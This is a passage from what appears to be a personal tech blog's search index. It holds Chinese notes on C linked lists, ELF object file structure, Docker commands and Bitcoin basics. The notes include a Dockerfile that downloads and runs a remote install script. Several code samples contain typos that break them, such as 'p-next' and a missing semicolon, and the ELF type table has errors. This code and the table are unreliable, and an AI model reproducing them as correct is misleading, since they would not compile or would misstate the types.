OK;}\n\n单链表的插入与删除单链表的插入单链表第i个数据插入结点的算法思路:\n\n明一指针指向链表头结点,初始化j从i开始\n\n当j<i时,就遍历链表,让p的指针向后移动,不断指向下一结点,j累计1;\n\n若到链表末尾p为空,则说明第个结点不存在;\n\n否则查找成功,在系统中生成一个空结点s;\n\n将数据元素e赋值给s->data;\n\n单链表的插入标准语句s->next=p->next;p->next=s;\n\n返回成功\n\n\n实现代码算法如下:\n//初始条件:链式线性表L已存在,i<=i<=ListLength(L)//操作结果:在L中第i个位置之前插入新的数据元素e,L的长度加1Status ListInsert(LinkList *L,int i,ElemType e){\tint j;\tLinkeList p,s;\tp=*L;\tj=1;\twhile(p && j<i){\t\t//寻找第i个结点\t\tp=p-next;\t\t++j;\t}\tif(!p || j>i){\t\treturn ERROR;\t\t//第i个元素不存在\t}\ts=(LinkList)malloc(sizeof(Node));\t//生成新结点(C语言标准函数)\ts->data=e;\ts-next=p->next;\t\t\t//将p的后继节点赋值给s的后继\tp->next=s;\t\t\t\t//将s赋值给p的后继\treturn OK;}\n\n单链表的删除单链表第i个数据删除结点的算法思路:\n\n声明一指针p指向链表头结点,初始化j从1开始;\n\n当j<i时,就遍历链表,让p的指针向后移动,不断指向下一个结点,j累加1;\n\n若到链表末尾p为空,则说明第i个结点不存在;\n\n否则查找成功,将欲删除的结点p->next赋值给q;\n\n单链表的删除标准语句p->next=q-next;\n\n将q结点中的数据赋值给e,作为返回;\n\n释放q结点;\n\n返回成功。\n\n\n实现代码算法如下:\n//初始条件:链式线性表已存在,1<=i<=Listlengeh(L)//操作结果:删除L的第i个数据元素,并用e返回其值,L的长度减1Status ListDelete(LinkList *L,int i,ElemType *e){\tint j;\tLinkList p,q;\tp=*L;\tj=1;\twhile(p-next && j<i){\t//遍历寻找第i个元素\t\tp=p->next;\t\t++j;\t}\tif(!(p->next)|| j>i){\t\treturn ERROR;\t//第i个元素不存在\t}\tq=p->next;\tp->next=q->next;\t//将q的后继赋值给p的后继\t*e=q->data;\t\t\t//将q结点中的数据给e\tfree(q);\t\t\t//让系统回收此结点,释放内存\treturn OK;}\n\n对于插入或删除数据越频繁的操作,单链表的效率优势就越明显。\n单链表的整表创建单链表整表创建的算法思路:\n\n声明一指针p和计数器变量i。\n\n初始化一空链表L。\n\n让L的头结点的指针指向NULL,即建立一个带头结点的单链表。\n\n循环:\n\n\n1.生成一新节点赋值给p;\n2.随机生成一数字赋值给p的数据域p->data;\n3.将p插入到头结点与前一新结点之间。\n实现代码算法如下:\n//随机产生n个元素的值,建立带表头结点的单链线性表L(头插法)void CreateListHead(LinkList *L,int n){\tLinkList p;\tint i;\tsrand(time(0));\t\t\t\t\t\t//初始化随机数种子\t*L=(LinkList)malloc(sizeof(Node));\t(*L)->next=NULL;\t\t\t\t\t//先建立一个带头结点的单链表\tfor(i=0;i<n;i++){\t\tp=(LinkList)malloc(sizeof(Node));//生成新结点\t\tp->data=rand()%100+1;\t\t\t//随机生成100以内的数字\t\tp->next=(*L)->next;\t\t(*L)->next=p;\t\t\t\t\t//插入到表头\t}}\n\n这段算法代码里,我们其实用的是插队的办法,就是始终让新结点在第一的位置。我也可以把这种算法简称为头插法。\n我们把每次新结点都插在终端结点的后面,这种算法称之为尾插法。\n实现代码算法如下:\n//随机产生n个元素的值,建立带表头结点的单链表线性表L(尾插法)void CreateListTail(LinkList *L,int n){ LinkList p,r; int i; srand(time(0)); *L=(LinkList)malloc(sizeof(Node)); r=*L; for(i=0;i<n;i++){ p=(Node *)malloc(sizeof(Node)); p->data=rand()%100+1; r->next=p; r=p } r->next=NULL;}\n\n注意L与r的关系,L是指整个单链表,而r是指向尾结点的变量,r会随着循环不断地变化结点,而L则是随着循环增长为一个多结点的链表。\n单链表的整表删除当我们不打算使用这个单链表时,我们需要把他销毁,其实也就是在内存中将它释放掉,以便于留出空间给其它程序或软件使用。\n单链表整表删除的算法思路如下:\n\n声明一指针p和q。\n\n将第一个结点赋值给p。\n\n循环:\n\n\n(1)将下一结点赋值给q;\n(2)释放p;\n(3)将q赋值给p。\n实现代码算法如下:\n//初始条件:链式线性表L已存在。操作结果:将L重置为空表Status ClearList(LinkList *L){\tLinkList p,q;\tp=(*L)->next;\twhile(p){\t\tq=p->next;\t\t//p指向第一个结点\t\tfree(p);\t\t//没到表尾\t\tp=q;\t}\t(*L)->next=NULL;\t//头结点指针域为空\treturn OK;}\n\n单链表结构与顺序存储结构的优缺点对比单链表结构和顺序存储结构\n\n\n\n存储分配方式\n时间性能\n空间性能\n\n\n\n顺序\n\n\n\n\n通过上面的对比,我们可以得出一些经验性的结论:\n\n若线性表需要频繁查找,很少进行插入和删除操作时,宜采用顺序存储结构。\n当线性表中的元素个数变化比较大或者根本不知道有多大时,最后用单链表结构。\n\n静态链表由于有些编程语言没有指针,所以理论上无法实现链表结构。\n但是智慧的人们想出了用数组来代替指针描述单链表。\n首先让我们数组的元素都是由两个数据域组成,data和cur。也就是说,数组的每个下标都对应一个data和cur。数据域data用来存放数据元素,而cur相当于单链表中的next指针,存放该元素的后继在数组中的下标,我们把cur叫作游标。\n我们把这种用数组描述的链表叫作静态链表,这种描述方法还有起名叫作游标实现法。\n我们俩方便插入数据,我们通常会把数据建立得大一些,以便有一些空闲空间可以便于插入时不至于溢出。\n#define MAXSIZE 1000 //存储空间初始分配量//线性表的静态链表存储结构typedef struct{\tElemType data;\tint cur; //游标(Cursor),为0的表示无指向}Component,StaticLinkList[MAXSIZE];\n\n\n循环链表将单链表中终端结点的指针端由空指针改为指向头结点,就使整个单链表形成一个环,这种头尾相接的单链表称为单循环链表,简称循环链表。\n循环链表解决了一个很麻烦的问题。如何从当中一个结点出发,访问到链表的全部结点。\n为了使空链表与非空链表处理一致,我们通常设一个头结点,当然,这并不是说,循环链表一定要头结点,这需要注意。\n其实循环链表和单链表的主要差异就在于循环的判断条件上,原来是判断p->next是否为空,现在则是p->next不等于头结点,则循环未结束。\np=rearA->next; //保存A表的头结点rearA->next=rearB->next->next; //将本是指向B表的第一个结点 //赋值给reaA-nextq=rearB->next; rearB->next=p; //将原A表的头结点赋值给rearB->nextfree(q); //释放q\n\n\n双向链表双向链表(double linked list)是在单链表的每个结点中,再设置一个指向其前驱结点的指针域。\n所以在双向链表中的结点都有两个指针域,一个指向直接后继,另一个指向直接前驱。\n//线性表的双向链表存储结构typedef struct DulNode{\tElemType data;\tstruct DulNode *prior; //直接前驱指针\tstruct DulNode *next; //直接后继指针}DulNode,*DuLinkList;\n","categories":["数据结构和算法"]},{"title":"《链接、装载与库》chapter3 目标文件里有什么","url":"/2024/10/26/link_load_lib/link-load-lib-3/","content":"编译器编译源代码后生成的文件叫做目标文件,那么目标文件里面到底存放的是什么呢?或者我们的源代码在经过编译以后是怎么存储的?\n目标文件从结构上讲,它是已经编译后的可执行文件格式,只是还没有经过链接的过程,其中可能有些符号或有些地址还没有被调整。其实它本身就是按照可执行文件格式存储的,只是跟真正的可执行文件在结构上稍有不同。\n可执行文件格式涵盖了程序的编译、链接、装载和执行的各个方面。了解它的结构并深入刨析它对于认识系统、了解背后的机理大有好处。\n目标文件的格式现在 PC 平台流行的可执行文件格式(Executable) 主要是 Windows 下的 PE(Portable Executable)和 Linux 的 ELF(Executable Linkable Format),它们都是 COFF(Common file format)格式的变种。目标文件就是源代码编译后但未执行链接的那些中间文件(Windows的.obj和Linux下的.o),它跟可执行文件的内容与结构很相似,所以一般可执行文件格式一起采用一种格式存储。从广义上看,目标文件与可执行文件的格式其实几乎是一样的,所以我们可以广义地将目标文件与可执行文件看成是一种类型的文件,在 Windows 下,我们可以统称它们为 PE-COFF 文件格式。在 Linux 下,我们可以将它们统称为 ELF 文件。其他不太常见的可执行文件格式还有 Intel/Microsoft 的 OMF(Object Module Format)、Unix a.out 格式和 MS-DOS .COM 格式等。\n不光是可执行文件(Windows的.exe 和 Linux 下的ELF可执行文件)按照可执行文件格式存储。动态链接库(DLL,Dynamic Linking Library)(Windows 的.dll和 Linux的.so)及静态链接库(Static Linking Library) (Windows 的.lib 和 Linux 的.a)文件都按照可执行文件格式存储。它们在 Windows 下都按照 PE-COFF 格式存储,Linux 下按照 ELF 格式存储。静态链接库稍有不同,它是把很多目标文件捆绑在一起形成一个文件,再加上一些索引,你可以简单地把它理解为一个包含有很多目标文件的文件包。\nELF 文件标准里面把系统中采用 ELF 格式的文件归为如表所列举的 4 类。\n\n\n\nELF文件类型\n说明\n实例\n\n\n\n可重定位文件(Relocatable File)\n这类文件包含了代码和数据,可以被用来链接成可执行文件或共享目标文件,静态链接库也可以归为这一类\nLinux 的.o Windows 的.obj\n\n\n可执行文件(Executable File)\n这类文件包含了可以直接执行的程序,它的代表就是ELF可执行文件,它们一般都没有扩展名\n比如 /bin/bash 文件 Windows 的 .exe\n\n\n共享目标文件(Shared Object File)\n这种文件包含了代码和数据,可以在以下两种情况下使用。一种是链接器可以使用这种文件跟其他的可重定位文件和共享目标文件链接,产生新的目标文件。第二种是动态链接器可以将几个这种共享目标文件与可执行文件结合,作为进程映像的一部分来运行。\nLinux 的 .os,如 /lib/glibc-2.5.so Windows 的 DLL\n\n\n核心转储文件(Core Dump File)\n当进程意外终止时,系统可以将该进程的地址空间的内容及终止时的一下其他信息转储到核心转储文件\nLinux 下的 core dump\n\n\nLinux下可以使用file命令查看相应的文件格式。\n目标文件是什么样的我们大概能猜到,目标文件中的内容至少有编译后的机器指令代码、数据。没错,除了这些内容以外,目标文件中还包括了链接时所须要的一些信息,比如符号表、调试信息、字符串等。一般目标文件将这些信息按不同的属性,以 “节” (Section) 的形式存储,有时候也叫 “段” (Segment),在一般情况下,它们都表示一个一定长度的区域,基本上不加以区别,唯一的区别是在 ELF 的链接视图和装载视图的时候,后面会专门提到。在本书中默认情况下统一将它们称为 “段”。\n程序源代码编译后的机器指令经常被放在代码段(Code Section) 里,代码段常见的名字有 “.code” 或 “.text”;全局变量和局部静态变量数据经常放在数据段(Data Section),数据段的一般名字都叫 “.data”。\n让我们来看一个简单的程序编译成目标文件后的结构,如图所示。\n\n假设图中的可执行文件的格式是 ELF,从图中可以看到,ELF 文件的开头是一个 “文件头”,它描述了整个文件的文件属性,包括文件是否可执行、是静态链接还是动态链接及入口地址(如果是可执行文件)、目标硬件、目标操作系统等信息,文件头还包括一个段表(Section Table),段表其实是一个描述文件中各个段的数组。段表描述了文件中各个段在文件中的偏移位置及段的属性等,从段表里面可以得到每个段的所有信息。文件头后面就是各个段的内容,比如代码段保存的就是程序的指令,数据段保存的就是程序的静态变量等。\n对照图来看,一般C语言的编译后执行语句都编译成机器代码,保存在 .text 段:已初始化的全局变量和局部静态变量都保存在 。data段;未初始化的全局变量和局部静态变量一般放在一个叫 “bss” 的段里。我们知道未初始化的全局变量和局部静态变量默认值都为 0,本来它们也可以被放在 .data 段的,但是因为它们都是 0,所以它们在 .data 段分配空间并且存放数据 0 是没有必要的。程序运行的时候它们的确是要占内存空间的,并且可执行文件必须记录所有未初始化的全局变量和局部静态变量的大小总和,记为 .bss 段。所以.bss段只是未初始化的全局变量和局部静态变量预留位置而已,它并没有内容,所以它在文件中也不占据空间。\n总体来说,程序源代码被编译以后主要分成两种段:程序指令和程序数据。代码段属于程序指令,而数据段和 .bss 段属于程序数据。\n为什么要将程序的指令和数据的存放分开?数据和指令分段的好处有很多。主要有以下几个方面。\n\n一方面是当程序被装载后,数据和指令分别被映射到两个虚存区域。由于数据区域对于进程来说是可读写的,而指令区域对于进程来说是只读的,所以这两个虚存区域的权限可以被分别设置成可读写和只读。这样可以防止程序的指令被有意或无意地改写。\n\n另外一方面是对于现代的CPU来说,它们有着极为强大的缓存(Cache)体系。由于缓存在现代的计算机中地位非常重要,所以程序必须尽量提高缓存的命中率。指令区和数据区的分离有利于提高程序的局部性。现代CPU的缓存一般都被设计成数据缓存和指令缓存分离,所以程序的指令和数据被分开存放对CPU的缓存命中率提高有好处。\n\n第三个原因,其实也是最重要的原因,就是当系统中运行着多个该程序的副本时,它们的指令都是一样的,所以内存中只须要保存一份改程序的指令部分。对于指令这种只读的区域来说是这样,对于其他的只读数据也一样,比如很多程序里面带有的图标图片、文本等资源也是属于可以共享的。当然每个副本进程的数据区域是不一样的,它们是进程私有的。不要小看这个共享指令的概念,它在现代的操作系统里面占据了极为重要的地位,特别是在有动态链接的系统中,可以节省大量的内存。比如我们常用的 Windows Internet Explorer 7.0 运行起来以后,它的总虚存空间为 112 844 KB,它的私有部分数据为 15944 KB,即有 96900 KB 的空间是共享部分。如果系统中运行了数百个进程,可以想象共享的方法来节省大量空间。关于内存共享的更为深入的内容我们将在装载这一章探讨。\n\n\n挖掘 SimpleSection.oobjdump -h 查看文件段的基本信息\n除了最基本的代码段、数据段和BSS段以外,还有3个段分别是只读数据段(.rodata)、注释信息段(.comment)和堆栈提示段(.note.GNU-stack)。\n段的长度(size)和段所在的位置(file offset),每个段的第二行中的“contents”、“alloc”等表示段的各种属性。\ncontents表示该段在文件中存在。\nsize 查看ELF文件的代码段、数据段和BSS段的长度\n代码段挖掘各个段的内容,还是须要objdump这个利器。objdump的 “-s” 参数可以将所有段的内容以十六进制的方式打印出来,“-d” 参数可以将所有包含指令的段反汇编。\n显示结构最左边是偏移量,中间4列是十六进制内容,最有面一列是.text的ASCII码形式。\n可以十六进制对照反汇编进行分析。\n数据段和只读数据段.data段保存的是那些已经初始化了的全局静态变量和局部静态变量。\n字符串常量属于只读数据,所以它会放到 .rodata。\n单独设立“.rodata”段可以使操作系统在加载的时候可以将“.rodata”段的属性映射成只读,这样对于这个段的任何修改操作都会作为非法操作处理。\n有时候编译器会把字符串常量放在“.data”段,而不会单独放在“.rodata”段。\n字节序,数据在内存里以小端序存储。\nBSS段.bss段存放的是未初始化全局变量和局部静态变量,\n有些编译器会将全局的未初始化变量存放在目标文件.bss段,有些则不存放,只是预留一个未定义的全局变量符号,等到最终链接成可执行文件的时候再在.bss段分配空间。\n编译单元内部可见的静态变量的确是存放在.bss段的。\nQuiz变量存放位置\n全局变量为0,可以认为是未初始化的,所以被优化掉可以放在.bss。\n其他段除了.text、.data、.bss这3个最常用的段之外,ELF文件也有可能包含其他的段,用来保存与程序相关的其他信息。\n\n\n\n常用的段名\n说明\n\n\n\n.rodata l\nRead only Data,这种段里存放的是只读数据,比如字符串常量、全局const变量。跟 “.rodata” 一样\n\n\n.comment\n存放的是编译器版本信息,比如字符串:“GCC:(GNU)4.2.0”\n\n\n.debug\n调试信息\n\n\n.dynamic\n动态链接信息\n\n\n.hash\n符号哈希表\n\n\n.line\n调试时的行号表,即源代码行号与编译后指令的对应表\n\n\n.note\n额外的编译器信息。比如程序的公司名、发包版本号等\n\n\n.strtab\nString Table.字符串表,用于存储ELF文件中用到的各种字符串\n\n\n.symtab\nSymbol Table.符号表\n\n\n.shstrtab\nSection String Table.段名表\n\n\n.plt .got\n动态链接的跳转表和全局入口表\n\n\n.init .fini\n程序初始化与终结代码段\n\n\n些段的名字都是由 “.” 作为前缀,表示这些表的名字是系统保留的,应用程序也可以使用一些非系统保留的名字作为段名。\n一个ELF文件可以拥有几个相同段名的段。\n\n自定义段\n正常情况下,GCC编译出来的目标文件中,代码会被放到 “.text” 段,全局变量和静态变量会被放到 “.data” 和 “.bss” 段,正如我们前面所分析的。\n但是有时候你可能希望变量或某些部分代码能够放到你所指定的段中去,以实现某些特定的功能。比如为了满足某些硬件的内存和 I/O 的地址布局,或者是像 Linux 操作系统内核中用来完成一些初始化和用户空间复制时出现页错误异常等。\nGCC提供了一个扩展机制,使得程序员可以指定变量所处的段:\n\n我们在全局变量或函数之前加上“ __ attribute__((section(“name”))) ”属性就可以把相应的变量或函数放到以“name”作为段名的段中。\nELF 文件结构描述ELF文件基本结构图\n\nELF目标文件格式的最前部ELF文件头(ELF Header),它包含了描述整个文件的基本属性,比如ELF文件版本、目标机器型号、程序入口地址等。紧接着是ELF文件各个段。其中ELF文件中与段有关的重要结构就是段表(Section Header Table),该表描述了ELF文件包含的所有段的信息,比如各个段的段名、段的长度、在文件中的偏移、读写权限及段的其他属性。\n文件头readelf命令可以详细查看ELF文件。\n-h\t查看ELF文件头\nELF的文件头中定义了ELF魔术、文件机器字节长度、数据存储方式、版本、运行平台、ABI版本、ELF重定位类型、硬件平台、硬件平台版本、入口地址、程序头入口和长度、段表的位置和长度及段的数量等。\nELF文件结构及相关常数被定义在 “/usr/include/elf.h” 里,因为ELF文件在各种平台下通用,ELF文件有32位版本和64位版本。它的文件头结构也有这两种版本,分别叫做“Elf32_Ehdr” 和 “Elf64_Ehdr”。\n32位版本与64版本的ELF文件的文件头内容是一样的,只不过有些成员的大小不一样。为了对每个成员的大小做出明确的规定以便于在不同的编译环境下都拥有相同的字段长度,“elf.h”使用typedef定义了一套自己的变量体系,如表所示。\n\n\n\n自定义类型\n描述\n原始类型\n长度(字节)\n\n\n\nElf32_Addr\n32位版本程序地址\nuint32_t\n4\n\n\nElf32_Half\n32位版本的无符号短整型\nuint16_t\n2\n\n\nElf32_Off\n32位版本的偏移地址\nuint32_t\n4\n\n\nElf32_Sword\n32位版本有符号整型\nuint32_t\n4\n\n\nElf32_Word\n32位版本无符号整型\nint32_t\n4\n\n\nElf64_Addr\n64位版本程序地址\nuint64_t\n8\n\n\nElf64_Half\n64位版本的无符号短整型\nuint16_t\n2\n\n\nElf64_Off\n64位版本的偏移地址\nuint64_t\n8\n\n\nElf64_Sword\n64位版本的有符号整型\nuint32_t\n4\n\n\nElf64_Work\n64位版本无符号整型\nint32_t\n4\n\n\nELF文件头结构成员含义\n\n\n这些字段的相关常量都定义在“elf.h”里面。\nELF魔数\t我们可以从前面readelf的输出看到,最前面的 “Magic” 的16个字节刚好对应 “Elf32_Ehdr” 的e_ident这个成员。这16个字节被ELF标准规定用来标识ELF文件的平台属性,比如这个ELF字长(32位/64位)、字节序、ELF文件版本。\n\n最开始的4个字节是所有ELF文件都必须相同的标识码,分别为0x7f、0x45、0x4c、0x46,第一个字节对应ASCII字符里面的DEL控制符,后面3个字节刚好是ELF这3个字母的ASCII码。这4个字节又被称为ELF文件的魔数,几乎所有的可执行文件格式的最开始的几个字节都是魔数。\n这种魔数用来确认文件的类型,操作系统在加载可执行文件的时候会确认魔数是否正确,如果不正确会拒绝加载。\n接下来的一个字节是用来标识ELF的文件类的,0x01表示32位的,0x02表示是64位:第6个字是字节序,规定该ELF文件是大端的话说小端的。第7个字节规定ELF文件的主版本号,一般是1,因为ELF标准自1.2版一行就再也密钥更新了。后面的9个字节ELF标准密钥定义,一般填0,有些平台会使用这9个字节作为扩展标志。\n文件类型\te_type成员表示ELF文件类型,即前面提到过的3种文件类型,每个文件类型对应一个常量。系统通过这个常量来判断ELF的真正文件类型,而不是通过文件的扩展名。\n\n机器类型\tELF文件格式被设计成可以在多个平台下使用。这并不表示同一个ELF文件可以在不同的平台下使用(就像java的字节码文件那样),而是表示不同平台下的ELF文件都遵循同一套ELF标准。e_machine成员就表示该ELF文件的平台属性,比如3表示该ELF文件只能在 intel x86机器下使用。\t\n\n段表我们知道ELF文件中有很多各种各样的段,这个段表(Section Header Table)就是保存这些段的基本属性的结构。段表是ELF文件中除了文件头以外最重要的结构,它描述了ELF的各个段的信息,比如每个段的段名、段的长度、在文件中的偏移、读写权限及段的其他属性。也就是说,ELF文件的段结构就是由段表决定的,编译器、链接器和装载器都是依靠段表来定位和访问各个段的属性的。段表在ELF文件中的位置由ELF文件头的“e_shoff”成员决定。\nobjdump -h命令只会把ELF文件中关键的段显示出来,而省略了其他的辅助性的段,比如:符号表、字符串表、段名字符串表、重定位表等。可以用readelf -S来查看文件的段,它显示出来的结果才是真正的段表结构。\n段表是结构是一个以 “Elf32_Shdr” 结构体为元素的数组。数组元素的个数等于段个数,每个 “Elf32_Shdr”结构体对应一个段。“Elf32_Shdr”又被称为段描述符(Section Descriptor)。\nELF段表的这个数组的第一个元素是无效的段描述符,它的类型为“NULL”,除此之外每个段描述符都对应一个段。\n数组的存放方式\n\nELF文件里面很多地方采用了这种与段表类似的数组方式保存。一般定义一个固定长度的结构,然后依次存放。这样我们就可以使用小标来引用某个结构。\nElf32_Shdr被定义在 “/usr/include/elf.h”\n\n\n段的类型(sh_type)正如前面所说的,段的名字只是在链接和编译过程中有意义,但它不能真正地表示段的类型。我们也可以将一个数据段命名为.text,对于编译器和链接器来说,主要决定段的属性的是段的类型(sh_type)和段的标志位(sh_flags)。段的类型相关常量以SHT_开头。\n\n\n段的标志位(sh_flag)段的标志位表示该段在进程虚拟地址空间中的属性,比如是否可写,是否可执行等。相关常量以SHF_开头。\n\n系统保留段的属性\n\n\n段的链接信息(sh_link、sh_info)如果段的类型是与链接相关的(不论是动态链接或静态链接),比如重定位表、符号表等,那么sh_link和sh_info这两个成员所包含的意义如表所示。对于其他类型的段,这两个成员没有意义。\n\n重定位表“rel.text” 的段,它的类型(sh_type)为 “SHT_REL”,也就是说它是一个重定位表(Relocation Table)。正如我们最开始所说的,链接器在处理目标文件时,须要对目标文件中某些部位进行重定位,即代码段和数据段中那些对绝对地址的引用的位置。这些重定位的信息都记录在ELF文件的重定位表里面,对于每个须要重定位的代码段或数据段,都会有一个相应的重定位表。\n一个重定位表同时也是ELF的一个段,那么这个段的类型(sh_type)就是“SHT_REL”类型的,它的“sh_link”表示符号表的下标,它的“sh_info”表示它作用于哪个段。比如“.rel.text”作用于“.text”段,而“.text”段的下标为“1”,那么“.rel.text” 的 “sh_info”为“1”。\n字符串表ELF文件中用到了很多字符串,比如段名、变量名等。因为字符串的长度往往是不定的,所以用固定的结构来表示它比较困难。一种很常见的做法是把字符串集中起来存放到一个表,然后使用字符串在表中的偏移来引用字符串。\n如下表\n\n偏移与它们对应的字符串如下表所示\n\n通过这种方法,在ELF文件中引用字符串只须给出一个数字下标即可,不用考虑字符串长度的问题。一般字符表在ELF文件中也以段的形式保存,常见的段明为“.strtab”或“.shstrtab”。这两个字符串表分别为字符串表(String Table)和段表字符串表(Section Header String Table)。顾名思义,** 字符串表用来保存普通的字符串,比如符号的名字;段表字符串表**用来保存段表中用到的字符串,最常见的就是段名(sh_name)\n接着我们再回头看这个ELF文件头中的e_shstrndx的含义,我们在前面提到过,e_shstrndx是ELF32_Ehdr的最好一个成员,它是“Section header string table index”的缩写。我们知道段表字符串表本身也是ELF文件中的一个普通的段,知道它的名字往往叫做“.shstrtab”。那么这个“e_shstrndx”就表示“.shstrtab”在段表中的下标,即段字符串表在段表中的下标。\n只要分析ELF文件头,就可以得到段表和段表字符串表的位置,从而解析整个ELF文件。\n链接的接口——符号在链接中,目标文件之间相互拼合实际上是目标文件之间对地址的引用,即对函数和变量的地址的引用。\n比如,目标文件B要用到了目标文件A中的函数,那么我们称目标文件A定义(Define) 了函数,称目标文件B引用(Reference) 了目标文件A中的函数。\n每个函数和变量都有自己独特的名字,才能避免链接过程中不同变量和函数之间的混淆。\n在链接中,我们将函数和变量统称为符号(Symbol),函数名或变量名就是符号名(Symbol Name)。\n我们可以将符号看作是链接中的粘合剂,整个链接过程正是基于符号才能够正确完成。链接过程中很关键的一部分就是符号的管理,每一个目标文件都会有一个相应的符号表(Symbol Table),这个表里面记录了目标文件中所用到的所有符号。每一个定语的符号有一个对应的值,叫做符号值(Symbol Value),对于变量和函数来说,符号值就是它们的地址。除了函数和变量之外,还存在其他集中不常用到的符号。我们将符号表中所有的符号进行分类,它们也可能是下面这些类型中的一种:\n\n定义在本目标文件的全局符号,可以被其他目标文件引用。\n在本目标文件中引用的全局符号,却没有定义在本目标文件,这一般叫做外部符号(Extermal Symbol),也就是我们前面所讲的符号引用。\n段名,这种符号往往由编译器产生,它的值就是该段的起始地址。\n局部符号,这类符号只在编译单元内部可见。\n行号信息,即目标文件指令与源代码中代码行的对应关系,它也是可选的。\n\n链接过程只关心全局符号的相互“粘合”,局部符号、段名、行号等都是次要的,它们对应其他目标文件来说是“不可见”的,在链接过程中也是无关紧要的。\nELF符号表结构ELF文件中的符号表往往是文件中的一个段,段名一般叫“.symtab”。符号表的结构很简单,它是一个Elf32_Sym结构(32位ELF文件)的数组,每个Elf32_Sym结构对应一个符号。这个数组的第一个元素,也就是下标0的元素为无效的“未定义符号”。\nElf32_Sym的结构定义如下:\n\n这几个成员的定义如表所示:\n\n特殊符号符号修饰与函数签名extern “C”弱符号与强符号调试信息目标文件里面还有可能保存的是调试信息。几乎所有现代的编译器都支持源代码级别的调试,比如我们可以在函数里面设置断点,可以监视变量变化,可以单步行进等,前提是编译器必须提前讲源代码与目标代码之间的关系等,比如目标代码中的地址对应源代码中的哪一行、函数和变量的类型、结构体的定义、字符串保存到目标文件里面。甚至有些高级的编译器和调试器支持查看STL容器的内容,即程序员在调试过程中可以之间观察STL容器中的成员的值。\n如果我们在GCC编译时加上”-g“参数,编译器就会在产生的目标文件里面加上调试信息,我们通过readelf等工具可以看到,目标文件里多了很多”debug“相关的段。\n这些段中保存的就是调试信息。现在的ELF文件采用一个叫DWARF(Debug WithArbitrary Record Format)的标准的调试信息格式,现在该标准以及发展到了第三个版本,即DWARF 3,由DWARF标准委员会由2006年年颁布。Microsoft也有自己相应的调试信息格式标准,叫 Code View。\n调试信息在目标文件和可执行文件中占用很大的空间,往往比程序的代码和数据本身大好几倍,所以当我们开发我程序并要将它发布的时候,须要把这些对于用户没有用的调试信息去掉,以节省大量的空间。在Linux下,我们可以使用 ”strip“ 命令来去掉ELF文件中的调试信息。\n","categories":["链接、装载和库"],"tags":["读书笔记"]},{"title":"docker","url":"/2024/10/25/sundry/docker/","content":"查看镜像\ndocker image ls\ndocker images\n\n拉取镜像官方镜像\ndocker image pull 镜像名称\n简写:docker pull 镜像名称\n例如:docker pull ubuntu\n\n\n\n个人镜像\ndocker pull 仓库名称/镜像名称\n\n第三方仓库拉取\ndocker pull 第三方仓库地址/仓库名称/镜像名称\n\n删除镜像\ndocker image rm 镜像名或镜像ID 或 docker rmi 镜像名或镜像ID\n\n加载镜像\ndocker run [可选参数] 镜像名 [传入的命令]\n\n常用参数:\n-i:以交互模式运行容器。\n-d:后台运行容器,创建守护式容器。\n-t:为容器分配一个伪终端。\n--name:为容器命名(不支持中文字符)。\n-v:目录映射(宿主机目录:容器目录)。\n-p:端口映射(宿主机端口:容器端口)。\n--network=host:使用主机的网络环境。\n\n查看容器查看正在运行的容器\ndocker ps\n\n查看所有容器\ndocker ps -a\n\n常用过滤器\n通过名字:docker ps -f name=指定名字\n显示最新容器:docker ps -l\n仅显示容器ID:docker ps -q\n显示容器大小:docker ps -s\n\n启动和关闭容器停止容器\ndocker container stop 容器名或ID\n简写:docker stop 容器名或ID\n\n强制关闭容器\ndocker container kill 容器名或ID\n简写:docker kill 容器名或ID\n\n启动容器\ndocker container start 容器名或ID\n简写:docker start 容器名或ID\n\n操作后台容器执行命令\ndocker exec -it 容器名或ID 命令\n例如:docker exec -it kali /bin/bash\n\n\n\n附加到容器\ndocker attach 容器名或ID\n\n删除容器\ndocker rm 容器名或ID\n\n制作容器镜像将容器保存为镜像\ndocker commit 容器名 镜像名\n\n镜像打包备份\ndocker save -o 文件名 镜像名\n\n镜像解压\ndocker load -i 文件路径/备份文件\n\nDockerfile\nLLVM 18 的 Dockerfile\n\nFROM ubuntu:22.04# 安装依赖RUN apt update && \\ apt install -y lsb-release wget software-properties-common gnupg && \\ wget https://apt.llvm.org/llvm.sh && \\ chmod +x llvm.sh && \\ ./llvm.sh 18 all && \\ rm -f llvm.sh# 创建符号链接RUN ln -s /usr/bin/clang++-18 /usr/bin/clang++ && \\ ln -s /usr/bin/clang-18 /usr/bin/clang && \\ ln -s /usr/bin/llvm-config-18 /usr/bin/llvm-config && \\ ln -s /usr/bin/lli-18 /usr/bin/lli && \\ ln -s /usr/bin/opt-18 /usr/bin/opt# 设置工作目录WORKDIR /app# 启动 bashCMD ["/bin/bash"]\n\n\nKali的Dockerfile\n\n# 1.选择基础镜像FROM kalilinux/kali-rolling# 2.安装依赖RUN apt update && apt install -y \\ nmap \\ git \\ curl \\ vim \\ build-essential \\ python3 \\ python3-pip && \\ rm -rf /var/lib/apt/lists/*# 3.设置工作目录WORKDIR /app# 4.复制文件COPY . /app# 5.定义运行命令CMD ["/bin/bash"]\n\n构建和运行\n构建镜像\n\ndocker build -t llvm-env .\n\n\n运行容器\n\ndocker run -it llvm-env\n","categories":["其它"]},{"title":"区块链原理","url":"/2024/10/24/sundry/blockchain/","content":"\n永乐大帝视频的学习笔记\n\n比特币比特币是一种基于密码学的数字加密货币,它允许用户通过互联网进行安全的点对点交易。2008年10月31日,中本聪在网络上发表了一篇名为《比特币:一种点对点的电子现金系统》的文章,提出了一种去中心化的电子记账系统。这一系统的核心在于,它不依赖于中央银行或政府来管理和维护交易记录。\n在比特币网络中,所有的交易记录会被打包成区块。每个区块的大小为1MB,通常可以存储大约4000条交易记录。新的区块会被连接到之前的区块上,形成一条连续的区块链。区块链不仅记录了所有的交易信息,也为比特币的安全性提供了保障。\n然而,由于网络延迟的存在,用户在同一时间可能会收到不同的账单,导致账单的不一致。因此,网络需要一种机制来决定以谁的账单为准,这就引入了工作量证明的概念。\n记账的动机在比特币网络中,记账的用户(即矿工)可以获得多种奖励,包括:\n\n交易手续费:每笔交易都会包含一小部分手续费,矿工在打包区块时会获得这些手续费。\n打包奖励:每打包一个新区块,矿工会获得一定数量的比特币奖励。在比特币的设计中,最初的打包奖励为50个比特币,每经过约四年,奖励数量会减半,最终总供应量将达到2100万个比特币。\n\n这种激励机制促使越来越多的矿工参与到比特币的网络中,确保网络的安全和交易的有效性。\n以谁为准为了确定以谁的账单为准,比特币网络采用了工作量证明(Proof of Work)机制。每个参与者需要解决一个复杂的数学问题,只有成功解决该问题后,才有权打包新区块。这个过程被称为挖矿。\n挖矿原理哈希函数比特币使用的哈希函数是 